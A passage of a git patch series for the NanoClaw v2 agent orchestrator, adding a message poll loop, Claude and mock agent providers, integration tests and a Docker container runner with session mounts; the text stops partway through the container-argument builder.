runPollLoop(config: PollLoopConfig): Promise { + let sessionId: string | undefined; + let resumeAt: string | undefined; + + while (true) { + const messages = getPendingMessages(); + + if (messages.length === 0) { + await sleep(POLL_INTERVAL_MS); + continue; + } + + const ids = messages.map((m) => m.id); + markProcessing(ids); + + const routing = extractRouting(messages); + const prompt = formatMessages(messages); + + log(`Processing ${messages.length} message(s), kinds: ${[...new Set(messages.map((m) => m.kind))].join(',')}`); + + // Set routing context as env vars for MCP tools + setRoutingEnv(routing, config.env); + + const query = config.provider.query({ + prompt, + sessionId, + resumeAt, + cwd: config.cwd, + mcpServers: config.mcpServers, + systemPrompt: config.systemPrompt, + env: config.env, + additionalDirectories: config.additionalDirectories, + }); + + // Process the query while concurrently polling for new messages + const result = await processQuery(query, routing, config); + + if (result.sessionId) sessionId = result.sessionId; + if (result.resumeAt) resumeAt = result.resumeAt; + + markCompleted(ids); + log(`Completed ${ids.length} message(s)`); + } +} + +interface QueryResult { + sessionId?: string; + resumeAt?: string; +} + +async function processQuery(query: AgentQuery, routing: RoutingContext, config: PollLoopConfig): Promise { + let querySessionId: string | undefined; + let done = false; + + // Concurrent polling: push new messages into the active query + const pollHandle = setInterval(() => { + if (done) return; + const newMessages = getPendingMessages(); + if (newMessages.length === 0) return; + + const newIds = newMessages.map((m) => m.id); + markProcessing(newIds); + + const prompt = formatMessages(newMessages); + log(`Pushing ${newMessages.length} follow-up message(s) into active query`); + query.push(prompt); + + // Update routing env for MCP tools with latest message context + const newRouting = extractRouting(newMessages); + setRoutingEnv(newRouting, config.env); + + // Mark these completed immediately (they've been pushed to the provider) + markCompleted(newIds); + }, ACTIVE_POLL_INTERVAL_MS); + + try { + for await (const event of query.events) { + handleEvent(event, routing); + + if (event.type === 'init') { + querySessionId = event.sessionId; + } else if (event.type === 'result' && event.text) { + writeMessageOut({ + id: generateId(), + in_reply_to: routing.inReplyTo, + kind: routing.channelType ? 'chat' : 'chat', + platform_id: routing.platformId, + channel_type: routing.channelType, + thread_id: routing.threadId, + content: JSON.stringify({ text: event.text }), + }); + } + } + } finally { + done = true; + clearInterval(pollHandle); + } + + return { sessionId: querySessionId }; +} + +function handleEvent(event: ProviderEvent, _routing: RoutingContext): void { + switch (event.type) { + case 'init': + log(`Session: ${event.sessionId}`); + break; + case 'result': + log(`Result: ${event.text ? event.text.slice(0, 200) : '(empty)'}`); + break; + case 'error': + log(`Error: ${event.message} (retryable: ${event.retryable}${event.classification ? `, ${event.classification}` : ''})`); + break; + case 'progress': + log(`Progress: ${event.message}`); + break; + } +} + +function setRoutingEnv(routing: RoutingContext, env: Record): void { + env.NANOCLAW_PLATFORM_ID = routing.platformId ?? undefined; + env.NANOCLAW_CHANNEL_TYPE = routing.channelType ?? undefined; + env.NANOCLAW_THREAD_ID = routing.threadId ?? undefined; +} + +function sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); +} diff --git a/container/agent-runner/src/providers/claude.ts b/container/agent-runner/src/providers/claude.ts new file mode 100644 index 0000000..c25ff37 --- /dev/null +++ b/container/agent-runner/src/providers/claude.ts @@ -0,0 +1,231 @@ +import fs from 'fs'; +import path from 'path'; + +import { query as sdkQuery, type HookCallback, type PreCompactHookInput } from '@anthropic-ai/claude-agent-sdk'; + +import type { AgentProvider, AgentQuery, ProviderEvent, QueryInput } from './types.js'; + +function log(msg: string): void { + console.error(`[claude-provider] ${msg}`); +} + +// Tool allowlist for NanoClaw agent containers +const TOOL_ALLOWLIST = [ + 'Bash', + 'Read', + 'Write', + 'Edit', + 'Glob', + 'Grep', + 'WebSearch', + 'WebFetch', + 'Task', + 'TaskOutput', + 'TaskStop', + 'TeamCreate', + 'TeamDelete', + 'SendMessage', + 'TodoWrite', + 'ToolSearch', + 'Skill', + 'NotebookEdit', + 'mcp__nanoclaw__*', +]; + +interface SDKUserMessage { + type: 'user'; + message: { role: 'user'; content: string }; + parent_tool_use_id: null; + session_id: string; +} + +/** + * Push-based async iterable for streaming user messages to the Claude SDK. + */ +class MessageStream { + private queue: SDKUserMessage[] = []; + private waiting: (() => void) | null = null; + private done = false; + + push(text: string): void { + this.queue.push({ + type: 'user', + message: { role: 'user', content: text }, + parent_tool_use_id: null, + session_id: '', + }); + this.waiting?.(); + } + + end(): void { + this.done = true; + this.waiting?.(); + } + + async *[Symbol.asyncIterator](): AsyncGenerator { + while (true) { + while (this.queue.length > 0) { + yield this.queue.shift()!; + } + if (this.done) return; + await new Promise((r) => { + this.waiting = r; + }); + this.waiting = null; + } + } +} + +// ── Transcript archiving (PreCompact hook) ── + +interface ParsedMessage { + role: 'user' | 'assistant'; + content: string; +} + +function parseTranscript(content: string): ParsedMessage[] { + const messages: ParsedMessage[] = []; + for (const line of content.split('\n')) { + if (!line.trim()) continue; + try { + const entry = JSON.parse(line); + if (entry.type === 'user' && entry.message?.content) { + const text = typeof entry.message.content === 'string' ? entry.message.content : entry.message.content.map((c: { text?: string }) => c.text || '').join(''); + if (text) messages.push({ role: 'user', content: text }); + } else if (entry.type === 'assistant' && entry.message?.content) { + const textParts = entry.message.content.filter((c: { type: string }) => c.type === 'text').map((c: { text: string }) => c.text); + const text = textParts.join(''); + if (text) messages.push({ role: 'assistant', content: text }); + } + } catch { + /* skip unparseable lines */ + } + } + return messages; +} + +function formatTranscriptMarkdown(messages: ParsedMessage[], title?: string | null, assistantName?: string): string { + const now = new Date(); + const dateStr = now.toLocaleString('en-US', { month: 'short', day: 'numeric', hour: 'numeric', minute: '2-digit', hour12: true }); + const lines = [`# ${title || 'Conversation'}`, '', `Archived: ${dateStr}`, '', '---', '']; + for (const msg of messages) { + const sender = msg.role === 'user' ? 'User' : assistantName || 'Assistant'; + const content = msg.content.length > 2000 ? msg.content.slice(0, 2000) + '...' : msg.content; + lines.push(`**${sender}**: ${content}`, ''); + } + return lines.join('\n'); +} + +function createPreCompactHook(assistantName?: string): HookCallback { + return async (input) => { + const preCompact = input as PreCompactHookInput; + const { transcript_path: transcriptPath, session_id: sessionId } = preCompact; + + if (!transcriptPath || !fs.existsSync(transcriptPath)) { + log('No transcript found for archiving'); + return {}; + } + + try { + const content = fs.readFileSync(transcriptPath, 'utf-8'); + const messages = parseTranscript(content); + if (messages.length === 0) return {}; + + // Try to get summary from sessions index + let summary: string | undefined; + const indexPath = path.join(path.dirname(transcriptPath), 'sessions-index.json'); + if (fs.existsSync(indexPath)) { + try { + const index = JSON.parse(fs.readFileSync(indexPath, 'utf-8')); + summary = index.entries?.find((e: { sessionId: string; summary?: string }) => e.sessionId === sessionId)?.summary; + } catch { + /* ignore */ + } + } + + const name = summary + ? summary.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-+|-+$/g, '').slice(0, 50) + : `conversation-${new Date().getHours().toString().padStart(2, '0')}${new Date().getMinutes().toString().padStart(2, '0')}`; + + const conversationsDir = '/workspace/agent/conversations'; + fs.mkdirSync(conversationsDir, { recursive: true }); + const filename = `${new Date().toISOString().split('T')[0]}-${name}.md`; + fs.writeFileSync(path.join(conversationsDir, filename), formatTranscriptMarkdown(messages, summary, assistantName)); + log(`Archived conversation to ${filename}`); + } catch (err) { + log(`Failed to archive transcript: ${err instanceof Error ? err.message : String(err)}`); + } + return {}; + }; +} + +// ── Provider ── + +export class ClaudeProvider implements AgentProvider { + private assistantName?: string; + + constructor(opts?: { assistantName?: string }) { + this.assistantName = opts?.assistantName; + } + + query(input: QueryInput): AgentQuery { + const stream = new MessageStream(); + stream.push(input.prompt); + + const sdkResult = sdkQuery({ + prompt: stream, + options: { + cwd: input.cwd, + additionalDirectories: input.additionalDirectories, + resume: input.sessionId, + resumeSessionAt: input.resumeAt, + systemPrompt: input.systemPrompt ? { type: 'preset' as const, preset: 'claude_code' as const, append: input.systemPrompt } : undefined, + allowedTools: TOOL_ALLOWLIST, + env: input.env, + permissionMode: 'bypassPermissions', + allowDangerouslySkipPermissions: true, + settingSources: ['project', 'user'], + mcpServers: input.mcpServers, + hooks: { + PreCompact: [{ hooks: [createPreCompactHook(this.assistantName)] }], + }, + }, + }); + + let aborted = false; + + async function* translateEvents(): AsyncGenerator { + let messageCount = 0; + for await (const message of sdkResult) { + if (aborted) return; + messageCount++; + + if (message.type === 'system' && message.subtype === 'init') { + yield { type: 'init', sessionId: message.session_id }; + } else if (message.type === 'result') { + const text = 'result' in message ? (message as { result?: string }).result ?? null : null; + yield { type: 'result', text }; + } else if (message.type === 'system' && (message as { subtype?: string }).subtype === 'api_retry') { + yield { type: 'error', message: 'API retry', retryable: true }; + } else if (message.type === 'system' && (message as { subtype?: string }).subtype === 'rate_limit_event') { + yield { type: 'error', message: 'Rate limit', retryable: false, classification: 'quota' }; + } else if (message.type === 'system' && (message as { subtype?: string }).subtype === 'task_notification') { + const tn = message as { summary?: string }; + yield { type: 'progress', message: tn.summary || 'Task notification' }; + } + // All other message types are logged but not emitted + } + log(`Query completed after ${messageCount} SDK messages`); + } + + return { + push: (msg) => stream.push(msg), + end: () => stream.end(), + events: translateEvents(), + abort: () => { + aborted = true; + stream.end(); + }, + }; + } +} diff --git a/container/agent-runner/src/providers/factory.ts b/container/agent-runner/src/providers/factory.ts new file mode 100644 index 0000000..077fd08 --- /dev/null +++ b/container/agent-runner/src/providers/factory.ts @@ -0,0 +1,16 @@ +import type { AgentProvider } from './types.js'; +import { ClaudeProvider } from './claude.js'; +import { MockProvider } from './mock.js'; + +export type ProviderName = 'claude' | 'mock'; + +export function createProvider(name: ProviderName, opts?: { assistantName?: string }): AgentProvider { + switch (name) { + case 'claude': + return new ClaudeProvider(opts); + case 'mock': + return new MockProvider(); + default: + throw new Error(`Unknown provider: ${name}`); + } +} diff --git a/container/agent-runner/src/providers/mock.ts b/container/agent-runner/src/providers/mock.ts new file mode 100644 index 0000000..ed5cad1 --- /dev/null +++ b/container/agent-runner/src/providers/mock.ts @@ -0,0 +1,66 @@ +import type { AgentProvider, AgentQuery, ProviderEvent, QueryInput } from './types.js'; + +/** + * Mock provider for testing. Returns canned responses. + * Supports push() — queued messages produce additional results. + */ +export class MockProvider implements AgentProvider { + private responseFactory: (prompt: string) => string; + + constructor(responseFactory?: (prompt: string) => string) { + this.responseFactory = responseFactory ?? ((prompt) => `Mock response to: ${prompt.slice(0, 100)}`); + } + + query(input: QueryInput): AgentQuery { + const pending: string[] = []; + let waiting: (() => void) | null = null; + let ended = false; + let aborted = false; + const responseFactory = this.responseFactory; + + const events: AsyncIterable = { + async *[Symbol.asyncIterator]() { + yield { type: 'init', sessionId: `mock-session-${Date.now()}` }; + + // Process initial prompt + yield { type: 'result', text: responseFactory(input.prompt) }; + + // Process any pushed follow-ups + while (!ended && !aborted) { + if (pending.length > 0) { + const msg = pending.shift()!; + yield { type: 'result', text: responseFactory(msg) }; + continue; + } + // Wait for push() or end() + await new Promise((resolve) => { + waiting = resolve; + }); + waiting = null; + } + + // Drain remaining + while (pending.length > 0) { + const msg = pending.shift()!; + yield { type: 'result', text: responseFactory(msg) }; + } + }, + }; + + return { + push(message: string) { + pending.push(message); + waiting?.(); + }, + end() { + ended = true; + waiting?.(); + }, + events, + abort() { + aborted = true; + waiting?.(); + }, + }; + } +} diff --git a/container/agent-runner/src/providers/types.ts b/container/agent-runner/src/providers/types.ts new file mode 100644 index 0000000..6e43f3b --- /dev/null +++ b/container/agent-runner/src/providers/types.ts @@ -0,0 +1,56 @@ +export interface AgentProvider { + /** Start a new query. Returns a handle for streaming input and output. */ + query(input: QueryInput): AgentQuery; +} + +export interface QueryInput { + /** Initial prompt (already formatted by agent-runner). */ + prompt: string; + + /** Session ID to resume, if any. */ + sessionId?: string; + + /** Resume from a specific point in the session (provider-specific). */ + resumeAt?: string; + + /** Working directory inside the container. */ + cwd: string; + + /** MCP server configurations. */ + mcpServers: Record; + + /** System prompt / developer instructions. */ + systemPrompt?: string; + + /** Environment variables for the SDK process. */ + env: Record; + + /** Additional directories the agent can access. */ + additionalDirectories?: string[]; +} + +export interface McpServerConfig { + command: string; + args: string[]; + env: Record; +} + +export interface AgentQuery { + /** Push a follow-up message into the active query. */ + push(message: string): void; + + /** Signal that no more input will be sent. */ + end(): void; + + /** Output event stream. */ + events: AsyncIterable; + + /** Force-stop the query. */ + abort(): void; +} + +export type ProviderEvent = + | { type: 'init'; sessionId: string } + | { type: 'result'; text: string | null } + | { type: 'error'; message: string; retryable: boolean; classification?: string } + | { type: 'progress'; message: string }; diff --git a/vitest.config.ts b/vitest.config.ts index a456d1c..d78e795 100644 --- a/vitest.config.ts +++ b/vitest.config.ts @@ -2,6 +2,6 @@ import { defineConfig } from 'vitest/config'; export default defineConfig({ test: { - include: ['src/**/*.test.ts', 'setup/**/*.test.ts'], + include: ['src/**/*.test.ts', 'setup/**/*.test.ts', 'container/agent-runner/src/**/*.test.ts'], }, }); From 18d0b6e53f1af94a8c41dcaf7f7df6a7277bcca9 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:40:00 +0300 Subject: [PATCH 067/485] v2: add agent-runner integration tests Poll loop end-to-end with mock provider: message pickup, batch processing, concurrent polling for late arrivals. Co-Authored-By: Claude Opus 4.6 (1M context) --- .../agent-runner/src/integration.test.ts | 120 ++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 container/agent-runner/src/integration.test.ts diff --git a/container/agent-runner/src/integration.test.ts b/container/agent-runner/src/integration.test.ts new file mode 100644 index 0000000..63c07b7 --- /dev/null +++ b/container/agent-runner/src/integration.test.ts @@ -0,0 +1,120 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; + +import { initTestSessionDb, closeSessionDb, getSessionDb } from './db/connection.js'; +import { getUndeliveredMessages } from './db/messages-out.js'; +import { getPendingMessages } from './db/messages-in.js'; +import { MockProvider } from './providers/mock.js'; +import { runPollLoop } from './poll-loop.js'; + +beforeEach(() => { + initTestSessionDb(); +}); + +afterEach(() => { + closeSessionDb(); +}); + +function insertMessage(id: string, content: object, opts?: { platformId?: string; channelType?: string; threadId?: string }) { + getSessionDb() + .prepare( + `INSERT INTO messages_in (id, kind, timestamp, status, platform_id, channel_type, thread_id, content) + VALUES (?, 'chat', datetime('now'), 'pending', ?, ?, ?, ?)`, + ) + .run(id, opts?.platformId ?? null, opts?.channelType ?? null, opts?.threadId ?? null, JSON.stringify(content)); +} + +describe('poll loop integration', () => { + it('should pick up a message, process it, and write a response', async () => { + // Insert a message before starting the loop + insertMessage('m1', { sender: 'Alice', text: 'What is the meaning of life?' }, { platformId: 'chan-1', channelType: 'discord', threadId: 'thread-1' }); + + const provider = new MockProvider(() => '42'); + + // Run the poll loop in background, abort after it processes + const controller = new AbortController(); + const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); + + // Wait for processing + await waitFor(() => getUndeliveredMessages().length > 0, 2000); + controller.abort(); + + // Verify + const out = getUndeliveredMessages(); + expect(out).toHaveLength(1); + expect(JSON.parse(out[0].content).text).toBe('42'); + expect(out[0].platform_id).toBe('chan-1'); + expect(out[0].channel_type).toBe('discord'); + expect(out[0].thread_id).toBe('thread-1'); + expect(out[0].in_reply_to).toBe('m1'); + + // Input message should be completed + const pending = getPendingMessages(); + expect(pending).toHaveLength(0); + + await loopPromise.catch(() => {}); // swallow abort + }); + + it('should process multiple messages in a batch', async () => { + insertMessage('m1', { sender: 'Alice', text: 'Hello' }); + insertMessage('m2', { sender: 'Bob', text: 'World' }); + + const provider = new MockProvider(() => 'Got both messages'); + const controller = new AbortController(); + const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); + + await waitFor(() => getUndeliveredMessages().length > 0, 2000); + controller.abort(); + + const out = getUndeliveredMessages(); + expect(out).toHaveLength(1); + expect(JSON.parse(out[0].content).text).toBe('Got both messages'); + + await loopPromise.catch(() => {}); + }); + + it('should process messages arriving after loop starts', async () => { + const provider = new MockProvider(() => 'Processed'); + const controller = new AbortController(); + const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 3000); + + // Insert message after loop has started + await sleep(200); + insertMessage('m-late', { sender: 'Charlie', text: 'Late arrival' }); + + await waitFor(() => getUndeliveredMessages().length > 0, 2000); + controller.abort(); + + const out = getUndeliveredMessages(); + expect(out.length).toBeGreaterThanOrEqual(1); + + await loopPromise.catch(() => {}); + }); +}); + +// Helper: run poll loop until aborted or timeout +async function runPollLoopWithTimeout(provider: MockProvider, signal: AbortSignal, timeoutMs: number): Promise { + return Promise.race([ + runPollLoop({ + provider, + cwd: '/tmp', + mcpServers: {}, + env: {}, + }), + new Promise((_, reject) => { + signal.addEventListener('abort', () => reject(new Error('aborted'))); + }), + new Promise((_, reject) => setTimeout(() => reject(new Error('timeout')), timeoutMs)), + ]); +} + +async function waitFor(condition: () => boolean, timeoutMs: number): Promise { + const start = Date.now(); + while (!condition()) { + if (Date.now() - start > timeoutMs) throw new Error('waitFor timeout'); + await sleep(50); + } +} + +function sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); +} From d7c68e04b115b66294db63c8bf9099782782b4a0 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:43:13 +0300 Subject: [PATCH 068/485] =?UTF-8?q?v2=20phase=203:=20host=20core=20?= =?UTF-8?q?=E2=80=94=20router,=20session=20manager,=20delivery,=20sweep?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Host orchestrator connecting channel events to session DBs and delivering responses back through channel adapters. - session-manager.ts: session folder/DB lifecycle, message writing - container-runner-v2.ts: Docker spawn with session + agent group mounts, OneCLI, idle timeout, agent-runner recompilation - router-v2.ts: inbound routing (channel → messaging group → agent group → session → messages_in → wake container) - delivery.ts: two-tier polling (1s active, 60s sweep) for messages_out, channel adapter delivery - host-sweep.ts: stale detection with backoff, recurrence, wake containers for due messages - index-v2.ts: thin entry point wiring everything together - scripts/test-v2-agent.ts: real Claude provider integration test Co-Authored-By: Claude Opus 4.6 (1M context) --- scripts/test-v2-agent.ts | 106 ++++++++++++++++ src/container-runner-v2.ts | 240 +++++++++++++++++++++++++++++++++++++ src/delivery.ts | 156 ++++++++++++++++++++++++ src/host-sweep.ts | 131 ++++++++++++++++++++ src/index-v2.ts | 49 ++++++++ src/router-v2.ts | 99 +++++++++++++++ src/session-manager.ts | 145 ++++++++++++++++++++++ 7 files changed, 926 insertions(+) create mode 100644 scripts/test-v2-agent.ts create mode 100644 src/container-runner-v2.ts create mode 100644 src/delivery.ts create mode 100644 src/host-sweep.ts create mode 100644 src/index-v2.ts create mode 100644 src/router-v2.ts create mode 100644 src/session-manager.ts diff --git a/scripts/test-v2-agent.ts b/scripts/test-v2-agent.ts new file mode 100644 index 0000000..0e8c020 --- /dev/null +++ b/scripts/test-v2-agent.ts @@ -0,0 +1,106 @@ +/** + * Quick integration test: create a session DB, insert a message, + * run the v2 poll loop with the Claude provider, verify output. + * + * Usage: npx tsx scripts/test-v2-agent.ts + */ +import Database from 'better-sqlite3'; +import fs from 'fs'; + +const TEST_DIR = '/tmp/nanoclaw-v2-test'; +const DB_PATH = `${TEST_DIR}/session.db`; + +// Clean up +if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); +fs.mkdirSync(TEST_DIR, { recursive: true }); + +// Create session DB +const db = new Database(DB_PATH); +db.pragma('journal_mode = WAL'); +db.exec(` + CREATE TABLE messages_in ( + id TEXT PRIMARY KEY, kind TEXT NOT NULL, timestamp TEXT NOT NULL, + status TEXT DEFAULT 'pending', status_changed TEXT, process_after TEXT, + recurrence TEXT, tries INTEGER DEFAULT 0, platform_id TEXT, + channel_type TEXT, thread_id TEXT, content TEXT NOT NULL + ); + CREATE TABLE messages_out ( + id TEXT PRIMARY KEY, in_reply_to TEXT, timestamp TEXT NOT NULL, + delivered INTEGER DEFAULT 0, deliver_after TEXT, recurrence TEXT, + kind TEXT NOT NULL, platform_id TEXT, channel_type TEXT, + thread_id TEXT, content TEXT NOT NULL + ); +`); + +// Insert test message +db.prepare(`INSERT INTO messages_in (id, kind, timestamp, status, content) VALUES (?, 'chat', datetime('now'), 'pending', ?)`).run( + 'test-1', + JSON.stringify({ sender: 'Gavriel', text: 'Say "Hello from v2!" and nothing else. Do not use any tools.' }), +); +console.log('✓ Session DB created with test message'); +db.close(); + +// Set env and run the poll loop +process.env.SESSION_DB_PATH = DB_PATH; +process.env.AGENT_PROVIDER = 'claude'; + +const { getSessionDb, closeSessionDb } = await import('../container/agent-runner/src/db/connection.js'); +const { getUndeliveredMessages } = await import('../container/agent-runner/src/db/messages-out.js'); +const { getPendingMessages } = await import('../container/agent-runner/src/db/messages-in.js'); +const { createProvider } = await import('../container/agent-runner/src/providers/factory.js'); +const { runPollLoop } = await import('../container/agent-runner/src/poll-loop.js'); + +const provider = createProvider('claude'); + +console.log('✓ Claude provider created'); +console.log('⏳ Starting poll loop (will timeout after 60s)...'); + +// Run with timeout +const timeout = setTimeout(() => { + console.log('\n✗ Timed out after 60s'); + printResults(); + process.exit(1); +}, 60_000); + +// Poll for results in parallel +const resultChecker = setInterval(() => { + try { + const out = getUndeliveredMessages(); + if (out.length > 0) { + clearTimeout(timeout); + clearInterval(resultChecker); + console.log('\n✓ Got response!'); + printResults(); + process.exit(0); + } + } catch { + // DB might be locked, retry + } +}, 500); + +function printResults() { + const db2 = new Database(DB_PATH, { readonly: true }); + const inRows = db2.prepare('SELECT * FROM messages_in').all() as Array>; + const outRows = db2.prepare('SELECT * FROM messages_out').all() as Array>; + console.log('\n--- messages_in ---'); + for (const r of inRows) { + console.log(` [${r.id}] status=${r.status} kind=${r.kind} content=${r.content}`); + } + console.log('\n--- messages_out ---'); + for (const r of outRows) { + console.log(` [${r.id}] kind=${r.kind} content=${r.content}`); + } + db2.close(); +} + +// Start the poll loop (runs forever, we exit from the checker above) +try { + await runPollLoop({ + provider, + cwd: TEST_DIR, + mcpServers: {}, + env: { ...process.env }, + }); +} catch (err) { + // Expected — we force exit +} diff --git a/src/container-runner-v2.ts b/src/container-runner-v2.ts new file mode 100644 index 0000000..79c49c8 --- /dev/null +++ b/src/container-runner-v2.ts @@ -0,0 +1,240 @@ +/** + * Container Runner v2 + * Spawns agent containers with session folder + agent group folder mounts. + * The container runs the v2 agent-runner which polls the session DB. + */ +import { ChildProcess, spawn } from 'child_process'; +import fs from 'fs'; +import path from 'path'; + +import { OneCLI } from '@onecli-sh/sdk'; + +import { CONTAINER_IMAGE, DATA_DIR, GROUPS_DIR, IDLE_TIMEOUT, ONECLI_URL, TIMEZONE } from './config.js'; +import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; +import { getAgentGroup } from './db/agent-groups.js'; +import { log } from './log.js'; +import { validateAdditionalMounts } from './mount-security.js'; +import { markContainerIdle, markContainerRunning, markContainerStopped, sessionDbPath, sessionDir } from './session-manager.js'; +import type { AgentGroup, Session } from './types-v2.js'; + +const onecli = new OneCLI({ url: ONECLI_URL }); + +interface VolumeMount { + hostPath: string; + containerPath: string; + readonly: boolean; +} + +/** Active containers tracked by session ID. */ +const activeContainers = new Map(); + +export function getActiveContainerCount(): number { + return activeContainers.size; +} + +export function isContainerRunning(sessionId: string): boolean { + return activeContainers.has(sessionId); +} + +/** + * Wake up a container for a session. If already running, no-op. + * The container runs the v2 agent-runner which polls the session DB. + */ +export async function wakeContainer(session: Session): Promise { + if (activeContainers.has(session.id)) { + log.debug('Container already running', { sessionId: session.id }); + return; + } + + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + log.error('Agent group not found', { agentGroupId: session.agent_group_id }); + return; + } + + const mounts = buildMounts(agentGroup, session); + const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`; + const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-'); + const args = await buildContainerArgs(mounts, containerName, session, agentGroup, agentIdentifier); + + log.info('Spawning container', { sessionId: session.id, agentGroup: agentGroup.name, containerName }); + + const container = spawn(CONTAINER_RUNTIME_BIN, args, { stdio: ['ignore', 'pipe', 'pipe'] }); + + activeContainers.set(session.id, { process: container, containerName }); + markContainerRunning(session.id); + + // Log stderr + container.stderr?.on('data', (data) => { + for (const line of data.toString().trim().split('\n')) { + if (line) log.debug(line, { container: agentGroup.folder }); + } + }); + + // stdout is unused in v2 (all IO is via session DB) + container.stdout?.on('data', () => {}); + + // Idle timeout: kill container after IDLE_TIMEOUT of no activity + let idleTimer = setTimeout(() => killContainer(session.id, 'idle timeout'), IDLE_TIMEOUT); + + const resetIdle = () => { + clearTimeout(idleTimer); + idleTimer = setTimeout(() => killContainer(session.id, 'idle timeout'), IDLE_TIMEOUT); + }; + + // Reset idle timer when the host detects new messages_out (called by delivery.ts) + const entry = activeContainers.get(session.id); + if (entry) { + (entry as { resetIdle?: () => void }).resetIdle = resetIdle; + } + + container.on('close', (code) => { + clearTimeout(idleTimer); + activeContainers.delete(session.id); + markContainerStopped(session.id); + log.info('Container exited', { sessionId: session.id, code, containerName }); + }); + + container.on('error', (err) => { + clearTimeout(idleTimer); + activeContainers.delete(session.id); + markContainerStopped(session.id); + log.error('Container spawn error', { sessionId: session.id, err }); + }); +} + +/** Reset the idle timer for a session's container (called when messages_out are delivered). */ +export function resetContainerIdleTimer(sessionId: string): void { + const entry = activeContainers.get(sessionId) as { resetIdle?: () => void } | undefined; + entry?.resetIdle?.(); +} + +/** Kill a container for a session. */ +export function killContainer(sessionId: string, reason: string): void { + const entry = activeContainers.get(sessionId); + if (!entry) return; + + log.info('Killing container', { sessionId, reason, containerName: entry.containerName }); + try { + stopContainer(entry.containerName); + } catch { + entry.process.kill('SIGKILL'); + } +} + +function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { + const mounts: VolumeMount[] = []; + const projectRoot = process.cwd(); + const sessDir = sessionDir(agentGroup.id, session.id); + const groupDir = path.resolve(GROUPS_DIR, agentGroup.folder); + + // Session folder at /workspace (contains session.db, outbox/, .claude/) + mounts.push({ hostPath: sessDir, containerPath: '/workspace', readonly: false }); + + // Agent group folder at /workspace/agent + fs.mkdirSync(groupDir, { recursive: true }); + mounts.push({ hostPath: groupDir, containerPath: '/workspace/agent', readonly: false }); + + // Global memory directory + const globalDir = path.join(GROUPS_DIR, 'global'); + if (fs.existsSync(globalDir)) { + mounts.push({ hostPath: globalDir, containerPath: '/workspace/global', readonly: !agentGroup.is_admin }); + } + + // Claude sessions directory (per agent group, shared across sessions) + const claudeDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, '.claude-shared'); + fs.mkdirSync(claudeDir, { recursive: true }); + const settingsFile = path.join(claudeDir, 'settings.json'); + if (!fs.existsSync(settingsFile)) { + fs.writeFileSync(settingsFile, JSON.stringify({ + env: { + CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', + CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', + CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', + }, + }, null, 2) + '\n'); + } + + // Sync container skills + const skillsSrc = path.join(projectRoot, 'container', 'skills'); + const skillsDst = path.join(claudeDir, 'skills'); + if (fs.existsSync(skillsSrc)) { + for (const skillDir of fs.readdirSync(skillsSrc)) { + const srcDir = path.join(skillsSrc, skillDir); + if (fs.statSync(srcDir).isDirectory()) { + fs.cpSync(srcDir, path.join(skillsDst, skillDir), { recursive: true }); + } + } + } + mounts.push({ hostPath: claudeDir, containerPath: '/home/node/.claude', readonly: false }); + + // Agent-runner source (per agent group, recompiled on container startup) + const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); + const groupRunnerDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, 'agent-runner-src'); + if (fs.existsSync(agentRunnerSrc)) { + const srcIndex = path.join(agentRunnerSrc, 'index-v2.ts'); + const cachedIndex = path.join(groupRunnerDir, 'index-v2.ts'); + const needsCopy = !fs.existsSync(groupRunnerDir) || !fs.existsSync(cachedIndex) || fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs; + if (needsCopy) { + fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); + } + } + mounts.push({ hostPath: groupRunnerDir, containerPath: '/app/src', readonly: false }); + + // Admin: mount project root read-only + if (agentGroup.is_admin) { + mounts.push({ hostPath: projectRoot, containerPath: '/workspace/project', readonly: true }); + const envFile = path.join(projectRoot, '.env'); + if (fs.existsSync(envFile)) { + mounts.push({ hostPath: '/dev/null', containerPath: '/workspace/project/.env', readonly: true }); + } + } + + // Additional mounts from container config + const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (containerConfig.additionalMounts) { + const validated = validateAdditionalMounts(containerConfig.additionalMounts, agentGroup.name, !!agentGroup.is_admin); + mounts.push(...validated); + } + + return mounts; +} + +async function buildContainerArgs(mounts: VolumeMount[], containerName: string, session: Session, agentGroup: AgentGroup, agentIdentifier?: string): Promise { + const args: string[] = ['run', '--rm', '--name', containerName]; + + // Environment + args.push('-e', `TZ=${TIMEZONE}`); + args.push('-e', `AGENT_PROVIDER=${session.agent_provider || agentGroup.agent_provider || 'claude'}`); + args.push('-e', `SESSION_DB_PATH=/workspace/session.db`); + + // OneCLI gateway + const onecliApplied = await onecli.applyContainerConfig(args, { addHostMapping: false, agent: agentIdentifier }); + if (onecliApplied) { + log.debug('OneCLI gateway applied', { containerName }); + } + + // Host gateway + args.push(...hostGatewayArgs()); + + // User mapping + const hostUid = process.getuid?.(); + const hostGid = process.getgid?.(); + if (hostUid != null && hostUid !== 0 && hostUid !== 1000) { + args.push('--user', `${hostUid}:${hostGid}`); + args.push('-e', 'HOME=/home/node'); + } + + // Volume mounts + for (const mount of mounts) { + if 